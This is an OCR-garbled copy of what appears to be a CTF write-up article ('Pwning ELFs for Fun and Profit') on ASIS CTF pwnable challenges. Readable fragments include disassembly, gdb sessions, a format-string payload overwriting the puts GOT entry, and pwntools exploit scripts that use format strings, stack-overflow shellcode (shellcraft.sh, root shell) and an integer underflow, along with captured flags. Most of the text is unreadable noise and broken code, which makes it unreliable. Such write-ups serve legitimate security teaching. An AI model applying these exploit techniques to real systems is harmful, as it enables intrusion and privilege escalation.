result

result

x oL D4 <inputs TS X B X x T gheak passwords-1.."« ".x s 1. T ]

>

x ¢x ., 1 s siA4odtpemp $ 4 WX xs s 0% ¢ X datg segment S« x xS

1 ~

x"-|">>< 1 - )1-|,,¢=]-{x |‘_’S:XLX"N\_>

int6y fastcall check password{const char =user input)

raxi@1

user_input, u1
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B Technologic o

“ X S s 4 s L 1L XX LY s 1. s v
_?h15 15 U3r‘2 53cr3d7 1 ?h1nk!

10 «* + 111 XxGLOBAL_PASSWQRD x «Js. |~ <., 4 xx 0 4Y¥ X s
L JuSet input + P4 x0T 1T, JOx280. $ 1 Fd 4 ¥y s e X ] ]
i U s S o q 5 x I I X "o . DO x . S I x
user_input - ¢ x .. 1 _ s pmain¥ .~  buffef ovetflows <-4 s 40« > 4 " s X
10« 1« Usérxinput 74X 4- 7L Ox20Q * ¥ ~ » X <0Ox28 "ux_x 4], X . X , 17,1, s L,

Tl R -disalssembl - Xi~1.oL sT{I 4*7 uffer gverflowd | = X ~ ¥ L

1.7 1s L, U4y Buffer averflows!  foex o0 0" L 4,188 X X Cox

; undefined

user input|

; undefined
; undefined
; undefined
; undefined
; undefined
; undefined
; undefined
; undefined

dup(?)
dup(?)

; end of stack variables

X oo (AT s Y sl xR ) THT s x T d T .

B N A

8)# ./greg lestrade
[*] Welcome admin login system!

Login with your credential...

Credential : 7h15 15 v3ry 53cr37 1 7hlnk

0) exit

1) admin action

1

[*] Hello, admin

Give me your command : My name is slim shady

[*] for secure commands, only lower cases are expected. Sorry admin
0) exit

1) admin action

1

[*] Hello, admin

Give me your command : slim

[*] for secure commands, only lower cases are expected. Sorry admin
0) exit

1) admin action

0

Good bye, admin :)
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admin* 4. TXxX x" o . 1 (4. dicassenbly S kS LS KIJLX s sS

s pseudocode T 7 &ction ”

command

command
command_length command
i i < command_length i

command[ i command[ i

result

command, command
result

ul
result

looxw Do A 1 Ox3ff T KX e X T AL X . e s hx s

xos o "7 s 1294797 5T AU (Le eeXx 1) e xos o X el
, Lt Ts e x e e o " v X os ASCHE L XA« S 4 X 0 XX {s v L X
Fprintf s 4 o T x s v, G , S w4 bxs Lo TLws Llx sq

format strings ~ x - * s x o s

1.0 x4 11 - x4 0 format stridg* - xs 1,40 . x4 0 s o7
X | X y's s X "o ! , -~ € |_A_J_i&s\s,,y,y;sxiv\Zp(yvl,,\XZv
W x x4 Fedo s x| Fso T xx oA | . o s s
s« 4y s o bxs Do LG T AL e K XX G DX XX
?s 1

J ¥ 1o Y X - %’ s {TTsx ] L s X

Lo Lo, T T olostrlemil <A oL X el Xq ) xso x ], x . Coe Pl
I x < s nullteiniinatars - x4 s s .silenfcommand)+l « ! "4 <X x s ox T
dbc 1« "read, S+ freadxStrlen T 4 X X x4 s« 4s s { Xs . X

S, X« LEFNWO XX L XsSAYIE S s se ks x ! FY 17

>
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<
1
=
~—
«D
=
3
>
2
o
-
x
-
B

x{nlst « v ¥ stiles_ 11 1t

17X b LAY L o e o x XL e 4

o XY . X1 s

" x s 104, LXe TG vl wxs s X ] x
L~ oA sl Xxs Do oxax X s 1oL x iy X ] ]
1 1 _ formafsting? x 7 1 s 14 s
s 4 xs ] ] ,S|X“ S ] . X < X X 1 . X 1 s L {s Ll
S I X X ., X C . s . X S X X e S L X x A EOXoa L L
X oL cooL
Yy « %
counters . 4.~ s -al "~ ADWDRD - X -scogmmand_length © 1 * s .« x x s 1.
-. command length « . 7~ x 1 s APOxs DX e D] s X s T
Y xoo b oxs o oox o x4 gaunters] 0T xIlY  ceolnterx1sd g ol xx
Cx .1 r  FA X L A 4 o C 0 xS X x counfeds® 4L, T x ] is L4 X s
s " -1 Ak~ L X OXEF A4S 4 s AT es i W QS X e s xo0xfed | . % 0% L
A4« Ax00d S SS X X L L x4 X Ox100 SS IS XS] fx e JsT X x X 1
iy b
8)# ./greg lestrade
[*] Welcome admin login system!
Login with your credential...
Credential : 7h15 15 v3ry 53cr37 1 7hlnk
0) exit
1) admin action
1
[*] Hello, admin
Give me your command :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1) admin action
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Technologic

X Xy
s 1
s | x4 s _ X
.main> buffer overflow L A1
. " T _ . ¢ x 1.1 X "X 1 L by 9  xs x "
-|"V'|VS L x~x-|x Sv
.x "4 fdrmat strings XIx 2 1 0 o0 x 1A
FlXoos X L X x s B Xl oxs S
.canariesxNX (DEP)~ ~» + 40, x _ _ s oY " gdbo T s T *"s{ fise x| X447,
DS Xs s 4T x s Do o 7y bs o Y oD T s ] s
90808990064 90876
s 4L 1+ 0#00876 @ * %} 1|1 RN N FX oYL 1.1 v X
, F Ix < s fdrmat String< : | cbufferxoverflow ¢ _ L x 1T r ¥ ASLR T {d _ XX x x4 | (
Fdoex "4 0x "« s x4  bufferovedflows <« . L X T s _4Y x4 s "X
Fdu " canarys ol e~ 1os 0 L 1 4 format Stringse X _T01X T e xa T
. s ¢ s 7 x x4 |bufferoverflows x X 7 | & o«
s ¢ 1+« |x s Vformatstring, ¥ X I b TXux J4x 4 1 _s oo b4 T
P L1 X s l.GOToverwiite r L X " &1 17 s i 4 _ Xlowr_ ¢ S A4AI_4” ] s
A printf o . 1 GORentrys - -~ ¢ grintfe 4 s 1, , - 47" x4 T s q T x

17150 kx. v o enttyc ¥l 41Ty s ¥ 9 X ] pAntf S. AXew IS S0 o
ey bs Doy 4 s px o (x 7  OxX400876 4 47 s s Do 4 XY s ] XX

P4 exit SIS, X o X w4, 1X% 0 X maint XXy dbi,S4F "
17,45 4s, s oo 4 s o0 0 T e 0 0 1 14
X w47 Iputs L GOT.entry o Jdx." s, oo ox L dputs*e 1Tx T e o T v ]
shx o o XLos o s o Xs X pUtsil e XSG X T o x ] (ST s st

= I« s

~ ~
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x "4 4s  p o x ASR T« 06020269 -~ lputs” L GOT entrys L T B
Poend . Ut oSt r Al x4 o xBMdsx X4y os e 4 A% o
L T N O B B Pl
ex'solx . x4 s ] 14" 1_ *GOTentr ", XN s .o
<14 - x s padding ~ 1 _ v v § < ¥ _ o~ SXX s osl 4 s v
%n*%x + 1 7 foimatstfing® _ _:* _ " , "1 _ ~ 1+ T T - ol NS X s
GOF 1+~ AL 1suix _x.l o o ]x" Jlx s 4 "s ¢ x
LYl s XputsY enty o
Lowidth) X 1 x s s © {fdrmat stringl exploitation.  ~-x4s. « - X x 7 4 4 ] <
Tl x~ o b4 s ey 40T, o ] s X n s X x 7
J%n , - X _ o~ 1 x 1337 1 %dA38R¢ 4 . .5 H98xHs v x o] ] =
Lo, x 1 b L x o hxs X x s N
1 4c_s 4" _x¥.<«s  {*DWORB {1 d % K. S WEX%WT KX Afss _
L Tx x4 ] )0 FRend 1% 4 x xDo¥ X ~ *format string® =~ X __+v.18) < X s
X . q s DT dd L% A AT S Te A A e s X
ORI XX IS Y w7 x s L 4 4L s BX %Bx%R%TX%h T | S
S oW x s L BH7H2 TS HT axys, X (0, s ] x I
n ~ 414+ _s v Xx 4 X | format stling exploitation, _ ~ 4 S+ - T 1974 4
: « Xfotmat strings  , {1 R R G N b 74 X
| %9$hhn%1337x%10$hn%4096x%11n |
X « X's X pox s N
Sqhhy . Txx {4 ] ) s4 o Tx s 4 A ts H{PeR Y A 4%
A G T T N A AU TR B O
x " l's  Txx{] ) s{.<”"x s | WORDB 0x0539 " fHY . « s
.WORD ~» _x 01 ¢+ 4> 47 L «hx  +133837<Ox539- | 1411 sy
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Technologic

x " ls Txx { ] )7 wss{ 1" xx vs, « DWOREF_0x00001339 & 4 § 1
. (s 1 11337+4896=5433=0x1539

B R E A BT T
X X x ] s .7 T Fd w1 s Lo DX x 1 ]s LI X L
n ~ 44 _ % printf-d skd Wl XX ¥, ] s X putssuGOTeny T 11, 17
I RO T B T T e T I N L T T T

- T x IDWORB *x Ox0p40 - s 7 x @ 1 D _ 1 OX08%6 - ssL"{x_is] s s 4 _s
L e T L 2 TR N o) (o To c (o e o] o I T B N

s L 10x602020- s " x 1 - s st 1 s Crrpus L GOT Rt 1 LS, XL L

Ix D e w7 x L 9x602024- - T DWQREB * Ox602022- S L Dol x s

R Y. S T B gy

x 1440 s ] x L X s D x X x fdrmat String, ¥ % <4+ 4 ] .

N S S o L A T R B B BT I
Dx 1 s L L el ST A Ak s Xl 14 L1 X . Txx 4] o Cx | lxxx
T SR I B R (I N B N

byte(strlen(format_string) + 1 ~ 7 = s © «  {padding., ' formatstringe (L 1§ x 7

s hoxoo s Tx o ==l Xs X
S gt s v A oarspe C T4 XL b AT K e R X KT s
S tx ot s 4 4 S XX 4 Tds gy xoq s
Se AL T s 4. T ex s e o 0% disagsembly - D x4 ]«
s X sbregkpoint + « _ 7 , Tgdb-q ./grég:lestrade : -~ ~ s gdb ¢ 1% 4., <7 { X
S © X 147 break *0%400a0¢ 4 -~ printf-L C o~ o x o T4 o Dx bxo o X .
s o1, ax X o Xs ] s .
8 Lo XS luos A s L T A AT L e U ARAARYL T S e XS Ll e
Tx ., 149X <x._ L L« x"_ s BBBBBBBB ¢ x@4N 4% T ]~ix {2 X,y
BBBBBBBBL _ r X « 4 _ S Qifrsp Sclix " stspix, £X X 0 s 4o DX x D |s v
fndBBB s ! x « s 1. ¢ X
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B Technoloqgic o

CS oA s Y L T L T S spt X LT, s Y XY s
LTS . 17 XY .vs pxod_ Lo UXBTx (57 {&WXIL T L 1
x 7 ¢ s DX X x I ]s s SN

8)# gdb -q ./greg lestrade

warning: build/bdist.linux-x86 64/wheel/peda/peda.py: No such file or directory
Reading symbols from ./greg lestrade...(no debugging symbols found)...done.
break *0x400a0c
Breakpoint 1 at 0x400a0c
r
Starting program: /mnt/hgfs/game of pwns/ASISCTF/0Organized/Pwnable/01 - Greg Le
trade (78)/greg lestrade
[*] Welcome admin login system!

Login with your credential...

Credential : 7h15 15 v3ry 53cr37 1 7h1nkAAAAABBBBBBBB
0) exit

1) admin action

1

[*] Hello, admin

Give me your command :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Legend: - / , value

Breakpoint 1, 0x0000000000400a0c in ?? ()
ir $rsp
rsp Ox7Tffffffdd40  Ox7fffffffdd40
find BBBB
Searching for 'BBBB' in: None ranges
Found 2 results, display max 2 items:
[stack] : ("BBBBBBBB\n\030\314\373\t\255\r "\v@")
[stack] : --> Oxfbccl80ad42424242

x Xx Lolsooop ] vprintfa 16508 18 JX e X es 0 L 1s Dox e o T x|
" cformat string™ ¢ _s o o I x " (o0 oprinf-X 4 4T ds o x ) x A, X
puts L GOTentnyg {1 %Y | x 7o Tx 1o 4"s {4

a ~ >

%152$n%64x%151$hn%2102x%150$hn
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X"expLoit—S - O S « X S DX

pwn

context.update( ='amd64' )
r = process( "./greg_lestrade" )

e = ELF( "./greg_lestrade"

r.recvuntil( "Credential"

passphrase =  "7h15_15 v3ry_53cr37_1_7hlnk"
padded_passpharse = passphrase + "AAAAA"

r.sendline(padded_passpharse + p64(e.got[ ‘puts’ )+ p64(e.got|
p64(e.got] ‘puts’ ]+ )
r.recvuntil( "admin action" )

r.sendline( "1")
r.recvuntil( "command " )

format_string = "%152%$n%64x%151$hn%2102x%150$hn"
format_string = format_string + R ( - (format_string))
r.sendline(format_string)

r.interactive()

ASIS{S@m3-f!#g}
ASiS{S@mB-f!#g}

L s X x ffarmat strings v ¢ 1% ] s " x
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Mrs. Hudson

' x s <, 7 L 1., <7 q{ %xXs 111 = X « X X X

X7 T X s L%hputs L S 07 T4 dinpete . e 4 0sT. . T 1~

~ >

LoLooeXxy s T os X,y X ] ] X,

Tl I - .
# ./mrs. hudson

" L) ~ oy
Let's go back to 2000.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

aaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAOAOAAAAAANMNAAAAAAAAAAAANAAANMAAAAAAAALAON

aaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANMANAAAAAAAAAAAANANAANANMAAAAAAAALAON

AAAAAAAAAAAAAANAANAANANMANMAAAAAAAAOO0000A0AO0OOAAAAA QOGN

Segmentation fault

a

x 11 - _ shuffenovefflowd ~ « | X0 Je BXx 1 s 4 gégmatatioh fault |

L XL dflows 4o x v x 47

ses{x L "Tx1.4" 4" x " IDAX. IHdT 1SS Se, 0 ] sglsx

”»

’
s

X vds _main Sdd s ~T s dx ix ] Lx  shall”vl4ss 0 Ix L, ~ L

s "4 x . Was T ATixgcdnf ;oo o X SOXK70 Lk 4 e x o 04T T s 0 L
xrbp -~ X . | stack* lbaffer overflowv ,« * . x " L . _%Ser, SX{LXT XD SX ¥ s
Stackcanary © 1~ | ¢ X~ o0 T o Aflow-s, Tl oxs A4 o oA sseoxe k4 -

; "Let’s go back to 2888."

2 uzgu
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X X Lx "y s gdty IR ]
(s A sixoX FH8EQA-D2 s QT 02! v mndéE« A |

.1« .7 x @ dh8licodeX L ~ ¢ X

# gdb -q ./mrs. hudson

~

SH P OASLR « b

ROB X% . Jx«dn.d."

B4 8L, 4.0,

warning: build/bdist.linux-x86 64/wheel/peda/peda.py: No such file or directory

;Reading symbols from ./mrs.

S L~ X s v Xo o s Sk X ASIR T A X 4 ANKSTRAINT T 4
x "shellcode
L. S~ %1s = Xx.shellcede , 1% 5 L stackopexflow . « " L~ = x4 T 4 o
Llot e b x L a0l f Es INBRLIES, A x4 4, s s 4 ] sy
L 1 x " ghellcode® L © 41 _~ ~»mp ,4X%¥¢T s4{ .7 x s = ghdlleodes . | x ~ 4 _
J.0 vx o 0 .17 caldspg x4 A, SXX XL Tx o, 1%
x "stack overflows * « o "L . X4 1
L. S»S1s Dxxl ] o« X0 ]d sshelleoen ,_f X ¥ ¥+ LI X T o
buffer overflow _ ~ * " ¢+« | +« dhellcofled *s x { x s ¢ o Xx . ]s s {s .
Fdox 114 xstacksl st « X sx 4 < xs ghellcodes ¥ X < ¢ ¥ ¥ s s . gx
1shellcGdes - L1 -5 Llx T 17 L s 4.0 FX sy L
L~ | gdbfwvmnhap )s ! x « s C X ks dL e s Ls o+ s X 40
x _x oy

checksec

.0x00400000 0x00401000 r-xp

0x00600000 0x00601000 r-xp

0x00007ffff7a38000 Ox00007ffff7bcfOOO r-xp
SO
0x00007ffff7bcfO00 Ox00007ffff7dcfOOO ---p
SO
0x00007ffff7dcfO00 Ox00007ffff7dd3000 r-xp
S0

hudson...(no debugging symbols found)...done.

Name

/mnt/hgfs/game of pwns/ASISCTF/0

rganized/Pwnable/02 - Mrs. Hudson (90)/mrs. hudson
/mnt/hgfs/game of pwns/ASISCTF/0

rganized/Pwnable/02 - Mrs. Hudson (90)/mrs. hudson

/1ib/x86 64-linux-gnu/libc-2.23.

/1ib/x86 64-1inux-gnu/libc-2.23.

/1ib/x86 64-1linux-gnu/libc-2.23.
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Technologic

*xol] Do XL b 11+ 0x602000x 0x60X000L ~ 1 *s .~ 1. X ¢ «psL _ X
x "shellcodes ¢~ X x D |- s IXT 8o ] s L ox , S e XS e X
?x Cs X X 1L
T L1 s L _ - sthck pivoting + _ s A" L 1.+, X N
buffer-s . x « .disassembl¢” . s 4 14 x L <o x0T, 0x X X

s bufferrs , OxBOL070 @ * x © ] L  rbp Xr-~_ rBPOXZO. L 1S , 14" 1 _s

~

4o x 14 x Shellcodes x L+~ b X "Ll F oA XX 4XIOXGOXGO6_x s,]1 9 X 1”7

1L - 1 daxc~buffers = x SXx ]S R L 1s cd 1 boxoo
1 _ ~ 1 shellkodes x " = _ X x o | L OxBOLQ76 | 15 x x Ybp-fssisH , - s
. X "shellcodes - .~ s LOx60X000¥ . x4 * .- 11 sq4 .7 x s s ., ¢ 1s

x4 X 41 9. x
1" .1 _ s Dbufferss S N A T S
R o x X frames” X XS 01 o0 4 X s o0 2 x i ]s .
.0x601070
Le T s 4L« . 1-0Kk40066f S S UNx L BFs S 1s 3 Xx: | .
ASLRX X T {¢x 4., .¢"{%xXs |x9x "

abpOx70 TXx K { | _  x s

1 L buffeds xOx601070 s 4rbp o _ - * x © ] sOx40066f s * ¥« 15 L« 4 x ¢ 17 s |

.0x601070 - * x * 1s | x o |«

«Xs ] i« v _A_ 1] shellcodes. <4 B I .1
lframes L T4 1 0 A s ol s b d 81440
(s L S s €) x ", 11 %,
0x601000 s 4 s : 4] s, S 1s7 @Xx: |
J ., X .~ shellcddes _ .8
. xéxploits ¢« X x 16471 /Bin/sh 1 14*shellcode ~ x < L~ xs x4 ] Tx
© x shellcades L _ ~ ¥ ~ _ shelleraft, + x I, x _ pwntool$*4 « , x "7 .~ _ « I 1,

CX X P w1 qd ]
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pwn

context.update( ='‘amd64' )

r = process( "./mrs._hudson" )
r.recvuntil( "Let's go back to 2000."

payload = A" *
payload += p64(

payload += p64(

r.sendline(payload)

payload = asm(shellcraft.sh())

payload += o - (payload))
payload += p64(

payload += p64(

r.sendline(payload)

r.interactive()

LY Is lexploits® «:7ax 1~

# python ./exploit.py
[+] Starting local process './mrs. hudson': pid 2367
[*] Switching to interactive mode

whoami
root
whereis sudo

sudo: /usr/bin/sudo /usr/lib/sudo /usr/share/man/man8/sudo.8.gz
cat flag
ASIS{W3 Do0Go NOoOt Like M4N4G3RS OR DO w3?}

Lo XA s X, s L X » X8 "vx Jsodysx{ o PR S ENaka N ISR SR N XX s

v

s | | X" d o, DX "X, s ] 0 ox

A ~ > ~
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X LlekSJ : 165kB)L“x X , XA Ix o s X, s X Lo x Iy s ¢ s 1.+ 7 A

X "L Iox , ~ ¥ I v s . ., s : x s 7 X s | .o X A X X (O, 0 X s
g="_4~sc x"H40L_ 11 <1__ 117« GKSELIHOES X s, 8% X
interpreter + 1 1« s« . "s ] Ix S ¢H XN A¥x 1 x "GameineW) I s ] |

1 s X s O o L T oL lxT 4L X . - oxooy

ene adler

Use "help()  to get basic help

help()

To start playing, initialize a new game:
‘g = Game.new()"

=Game.new()
initializing game...
Segmentation fault

11 | Yy X . L X T :-|vx“vs $8XCq X ss. o, "EO Al ] X .’,,,,yﬂ‘:x\vs
¢Cx ., 1_s T+ XXIDAT X1 4% T s xSl os T X5 L
1L L, S " gaméNew S 4% <€ X XX L X EAYMA GALERT Ayax At )

x o [hdmelluser/flagtxt _ * x «s T« 1 x I ALYAGHI MEBENYVIT S | s s
Y 1 sy R LYl s = T e x4 s | b X s ¢ s . XXX X
I x o L. ., S . R ] . X o s | s 4 . L L , 4L s s = x
Lo = 1 x s .o ” S 4 L DX x 1] s Lo X 18t N wXpaw L, SSeALS
. ( LY | s xS ) . X X

raxidl
ST18_861
ST28_8E1
5T28_8@E1
ui
y2 ui
stream
<
<
s stream
ctream
x g T lx s datdzl g A WX S x4 T D o x DX,
1 _o_os>x x7 X x 7 quaxd sy o kAd 4, x
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)# ./irene adler

Use “help()" to get basic help

help()

To start playing, initialize a new game:

g = Game.new()

g = Game.new()
initializing game...

g:help()

How to play..

"g:info()’ => Get Current game info

“g:planetInfo()” => Get info about current planet

‘g:shipInfo() ' => Get info about ships in game

“g:jump(planetId)® => Jump to a planet

"g:buy(resourceld, count)’ => Buy count of resource at currnet market rate
“g:sell(resourceld, count)® => Sell count of resource at current market rate
"g:buyFuel(count)”® => Buy count units of fuel

"g:buyShip(shipId)® => Buy shipId

Z“-|~VS - w = v " 'X'-~ :iv*:‘* s”ifi E(X,GIL’"T y

T 2 T o e L E e IR | BT S
X X X | x | x . X X S IuXXLXX Lo X g x O % BK x P, xx 8 ] s
3 X 4 s X X s X 7]

20000 + xS H X o+ L TT 5

Cow L box X L7 Cx " Y oS X R c

A I B S . ST L.

A Xs b0 s Te X x4 T g .
R T T el o BT
1144 <! 1 x4 Xxoe S AesL s X b H XN, T s
4 . x 11« 1 ] S v ., " R B CX L, s x4 L 1s X

Cx s AGEHMHIT SAKALE TS AL XL Xy

L Yl s ] ox e D

s”-|) 5 .Y s

v ~ ~
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~ L
g:shipInfo()
Ships available are:
[0] Freighter OWNED
->Your basic, starting freighter
Century Hawk NOT OWNED Availabe for 50000
->Fastest Ship in the Galaxy (Kessel Run, etc)
Slug Ship NOT OWNED Availabe for 20000
->Slow, but so much storage space
Flag Ship NOT OWNED Availabe for 8589934592
->The God-King's flag ship
g:planetInfo()
Current Planet Stats:
Name: Earth
flag @46116860184273879/unit
gold @50/unit
computers @37/unit
soylent @1/unit
X7 x "x {4 s s Lot s "7 , LYl s . Ly los s
x " 4L , X " ox A .~ S . I .7 L . 1l ™ x x4 4% X x
foe 74X s sy x Cs s Xyss gy {1%ae_ % LdX_ %]
A A4s s 4l Xs gdb* Y e K 47X e 4 x0T 4. DT o r L x 1A
Xt sflowk) .5 x X
v 4s I xg3Yod®daxsmMGEdL . . X Lyls o x|, s "7
G.dzZ@ Ay I \nWoo 2F x SFE £ 8w 4 _ -0L~®s . {uwyY!l sl I qixs” o914, s
vds . #6272 x SELBNIAADENI “of-212 Ré¢ SELISYAA GBS F2NI &2 dzNJ
17 s uoxby o T es b ox oy {ghmeBuy 7 X TSHX WX S X
s 1.« "epilogueLt 1 Xxx o "Ts 0 Cx ]
M E
A s
; "Too expensive for your blood™
L 1 *flow-s )loc_402064 . x <" x s . xpreakpoint + HX 21 x T x ., s
X x 1ols o lxXx | ] ASLRSTL{ «L_PEBA Y&l Lix. T4 Kb 2 d(¥ss] 4L
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, . breakpeints . _ brehk *0x40204dbreakpoint + 1 Qx40204d - 1 s s« x x s's Iox
set $rip = UX s Fd X RIP Y XS o 0 XX s {4 x 7 4 114 L
s 4 TX L v X , S 4. Txr 4] I x Gx402064! x : v L
x Ty X s x info 194 X )0 *ewve!l s Iixe” o ox 1L pgiinfo) T L s b
1X”L S"'I
Breakpoint 1, 0x000000000040204d in gameBuy ()
set $rip=0x402064
C
Continuing.
g:info()
Ship: Freighter
Money: -46116860184253879
Fuel: 16
Currently on: Earth
Inventory:
[0] flag: 1
->ASIS{gj YOU oWn3d ouR LU4 PWN task !}
[1] gold: 1
->Rare Planetary Metal, very valuable
Tox X Lyl s s x tyflag 14 x7s xp x o, x X {xX,™] Jpxys x Js|y x| s
X " s ., ., s x4 ] LS L 1vL % , S v q s 14 L1y
LY I s ”-|>v/|_y|s e N I x”_Lx’,’,|:‘~\S_-|~Ij§JZ
T T T o nyx x> xSy 0¥ v xg 8] Fx s
S « 4 Y X | s _(x N L Yl s voo XA s | x € . s X x 4 ] ) LY
~goylent 141 ~Keppler,* 1 x I * > 15 . <~ x> s o1 s ds 1 x
s 74 2 .s_..shylent . x | _Earth *Kegpler,+- 1 xes Xex X 1Yl ] S L
s s . X 1 L 1sgold » T X % A48 T01Q0xL %A AWy 17 i
- ¢ Keppler. , -~ x € 11 , » X 1 _ 1100, seylent - * IKeppler., , XX 1. ,, PR " X
B x 1 1ys, sq4s x4 q4x>*s 4 L Sslox s
LYyl s L R S Y I
Too expensive fot Cx ., 1 s S T O T T S T T S
x 7oL U Lok v A x4 x>0 H o« 7 1 *ydur blosd« {1 _ s .
X , ¢ x I x x ¢ x , S ] %
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~

i)
i
lE
lE
i)
=—

(& After stalking you for many days, space pirates have finally tracked you down.
rodata:000000... 00000058 C It turns out, carrying around large sums of cash makes you a primary target for pirates
rodata:000000... 00000049 C After a brief struggle, the pirates board and take control of your craft
srodata:000000... 00000055 C While your crew manages te get cut of this scrape ok, as captain you aren't so lucky
srodata:000000... 00000068 C At least you got a good view of your ship jJumping away in the last seconds before your body fr..
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Technologic

P X R xv I x = s q X X ¢ x , S Lo L, X« S
Tl oo x o p A x ] 1% s« {gameJumg X - oxs T x T IPF s % s x4 X
P exitl s 4 8 X7 x 4. x < | Oxfffffffe-_ | x. * X748 Q. T4 0 1 T,
FX Ll ,s 138 X T8 ux 0 v ds )y ot Ts x| os o v 44 4
cro 1, s TS aq s x x X L 132 siiw QXX T WX o X "Ts 407
L) LY ls e . N . Oxfffffffes 4 o x_ ! v > 7
L S N 1« x ] 1.1 T4 bkaylentl « 4, (574 x 1%L+ %
s 411 L R I U 2 N TN T U NN I
B I X . 1 s 41 . typeconfusionr 1-4_« «rd+_ s Xusx s [oox X 40 4
= ¢ . S « q !X Lo y x 4! ,,CAX) L Y !l s . ~Jx,, -|”\~
T s X4 st paw 199 XA 30 dexgdh Fx_ 4 XIS 0T O s
Lo X 4L~ Fl, 144 L X~ . oLl _ s sigied]  Lesxxe4 0 AL 1.
104 Cw s oxx X o o 4y s L1 x " ¢« unsigned ” *1s x
s w4 LYy s /oy lbs 0% p iy x X a4 g Xy q.x o X"
17 0 cjaldid s X o Xt sgaméBlys | T S s L S F Y
S ., _Ss « -unsigned_. sl o+ 4., _ S
Av Ao 0 4x s 4 TCo s osx T 414y L. ox o 0 40T
FovoX , ssboylepts {1 i x | T A I i L Xy i .
L FY o+ qS L

1000 v ¥y x s 14 1 s gameJimp_s Aiox X st o] T D, ©ox T

uk UG
LS e xs A T T flawk r {4 s, s 1
T4 10 sy s 1A Hlewe © O Xe T 4 Y s ©osp Tloox e N S S
100%s s X e e XS .
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110% s 4s4 s 14 _1s ©xTE0 « X% IS h_ N Gw]fex x X LX L

4 4 wv- soxts s4$ ssoylemts, Xios | 4k €, s€ |
oo x4 x4 v 44 0 v 4. Xupsigned. signed 41 L R X
10 oy bs oA 0 1 < Agsoylent o~xdY o A0 X A TS DX X
L T T O R S A Ot N T A I I B B

LY DS Do ox 0 Ux S xfss IxeD X X [ XTI

It puts you out 400 cash, but you make the trip in one piece, although a little
slower

During your trip, your 22 units of soylent decayed to 184467440737095513 units

x "exploits «  rexploit ¥ €. X 40X % Ll ox 7 Llox s ¢ ] .

pwn

e = ELF( "/irene_adler" )
r = process( "firene_adler"
r.recv()

r.sendline( "g=Game.new()" )
r.recv()

r.sendline( "g:buy(3, 100)"
r.recv()

r.sendline( "g;jump(2)" )
r.recv()

r.sendline( "gijump(1)" )
r.recv()

r.sendline( "g:sell(3, 184467440737095513)"
r.recv()

r.sendline( "g:sell(3, 184467440737095513)"
r.recv()

r.sendline( "g:buyShip(3)" )

r.recv()

"Flag ship purchased, switching to interactive mode..."

r.interactive()

Pwning ELFs for Fun and Profit
www. DigitalWhisper.co.il
141 2017 -~ * _88x 7T x { L ¥




r”

x 7L 1oL X xpwles o TS oo,

[+] Starting local process './irene adler': pid 3318
Flag ship purchased, switching to interactive mode..
[*] Switching to interactive mode
g:info()
Ship: Flag Ship
Money: 7902759713
Fuel: 6
Currently on: Alpha Centauri
Inventory:
[0] flag: 1
->ASIS{gj YOU oWn3d ouR LU4 PWN task '}

X w1 b Yo Xifua 70, H% ssx o oT [ugss Ixs{LLIGITSXE Xy fus,
J .~ ¥ I s N b X SLE T L viSS L X)) R
Mycroft Holmes
« " X X » ¥ 4 87 \,,°>1,4”>§1VI“ .S (R Y « L S T
1 X L B S v . 1 X yoLos vxos 1L « S Lo . X A X
« X S s X "o L, X, % S Fooxo . 1
260)# ./mycroft holmes
a
hello world
more than you know
. ¥ “ L A 1. : o X . v O s sl 471" s N *ox oL {7
T Xx o L Ll X7 bIDAYS ALaselxd0ss DT TS ] gl X P X
L o~ L s 7 _Ss = x X 14},J X - XX qu‘ 8%, T o XX L DOx
N L IR s ¢ 1] Px 1L xa) S R I T I X

b krthainie w07 (a7

~

LXoox ox b x D41 _nodeX maip s A AT B xS 41 o x
puts. T X X 41 putst X S e A% X 4 T X w LIBAY (h E XXX L § X
L X CputsT AS«x 4 w5 47 kL LTl X7l x s o Lx L x
T "X To putsd » S« LA T 1 gl X0 Txlx s T 4x (-

I v qs SR R IR S RO

sub 4E18D 6
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Technologic

Towmx s « stdin” 4 x fgetst > <Sue 4 o« 4 X v T AT
X 4" x s O s ) - pseéudacade $ X "X 4 8s 1 T !
(*x .« Tsxoo r _ splitinesxcast_to_lowerd + | s 4L
[sp+Bh] [bp-128h]E@1
[sp+8h] [bp-118h]E@1
[sp+16h] [bp-118h]E2
[sp*118h] [bp-8h]@1
canary
lines
user_input,
user_input
user_input
lines
lines
lines
-anary
X « X's X X S . s X s 4 .
stdinn,  + 256 1 0 §
s 47Xy 1o~ 9 . s ., 4
s , X s 2x N L, 1 * . s , 4 X = Xs .14 * ¢ x " s 4
Ay e s I 1s
R 11 X1 +xX5¢ 1. s €. {1~ s
S v L X -8 « XS 1 L0 S o
17159y _« %s. 1108 -~
« hutl-byte- s 1y L vq4 Bk, Xy I xs T AL WSS s 4.7 x s X
X L S .1 s 4. " Xx s , o~ XLl tolowér_ =¥ .« T x {1 ] XI5 x X
.cast to lower s . «~ .~ <7 T L ;s 7 q. X
,Strtok-L s " x v o,osstrtok 9 4 X7 X s . eox X . Xy 1L s .
Cx ., 1 s . tdelimiter) s ¢ L = 7 3 sl g 1 0 X%, . 17 RN
coLx 7 s o d L, Jokerd X 4 X s, 50 s, 4 © 7 tokeng s ko d "sxs {4 xux!
. x 7 Ltokéni 4 T X x < ¥ s A s 4. x  sX , Cx. 1 _s
S v {1 . w1 S v 4 .« =% s 1,
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. ,,XAXSN .I,,AVS ] x x |.-|,,VX~ S-|\“"X>Sv [ Y
I xtokerts 1s < | " 4« *tokenS X p w05 S 41 " 4 X L ]) p 4. s
*ox 2% 4 .8 Ay & « xs |s s s 5" X LX X s 1.
x's s f .. x s2 5 €9x.ss Y s {okenss % 7« e T
